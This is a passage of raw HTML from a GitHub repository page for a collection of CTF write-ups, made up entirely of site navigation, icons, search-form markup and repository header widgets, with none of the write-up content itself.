14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="119324220" data-scoped-search-url="/phieulang1993/ctf-writeups/search" data-owner-scoped-search-url="/users/phieulang1993/search" data-unscoped-search-url="/search" data-turbo="false" action="/phieulang1993/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="3BwmoXqyPS/PW63P1ptMxH7E/i/E/JYN1FdLsUCaEMs9S1EJ7s1eZR7ucFF/MGTuLBXF45nZ3ooktKNmSnGmlg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> phieulang1993 </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 